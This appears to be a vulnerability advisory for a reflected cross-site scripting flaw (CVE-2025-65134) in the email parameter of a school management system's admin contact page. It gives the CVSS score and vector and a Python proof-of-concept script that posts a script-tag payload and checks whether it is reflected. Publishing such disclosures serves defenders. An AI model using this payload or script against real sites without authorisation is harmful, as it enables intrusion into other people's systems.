In manikandan580 School-management-system 1.0, a reflected cross-site scripting (XSS) vulnerability exists in /studentms/admin/contact-us.php via the email POST parameter.
CVSS Details
CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
manikandan580 School-management-system 1.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_xss(target_url):
"""
PoC for CVE-2025-65134 Reflected XSS in School Management System
"""
vuln_path = "/studentms/admin/contact-us.php"
full_url = f"{target_url}{vuln_path}"
# Malicious payload to test XSS
xss_payload = '"><script>alert("CVE-2025-65134")</script>'
# POST data containing the vulnerable parameter
post_data = {
"email": xss_payload
}
try:
response = requests.post(full_url, data=post_data, timeout=10)
# Check if the payload is reflected in the response (unfiltered)
if xss_payload in response.text:
print(f"[+] Vulnerability confirmed! The target {target_url} is vulnerable to Reflected XSS.")
print(f"[+] Payload reflected: {xss_payload}")
else:
print("[-] Vulnerability not detected or payload filtered.")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
# Replace with actual target URL
target = "http://localhost"
exploit_xss(target)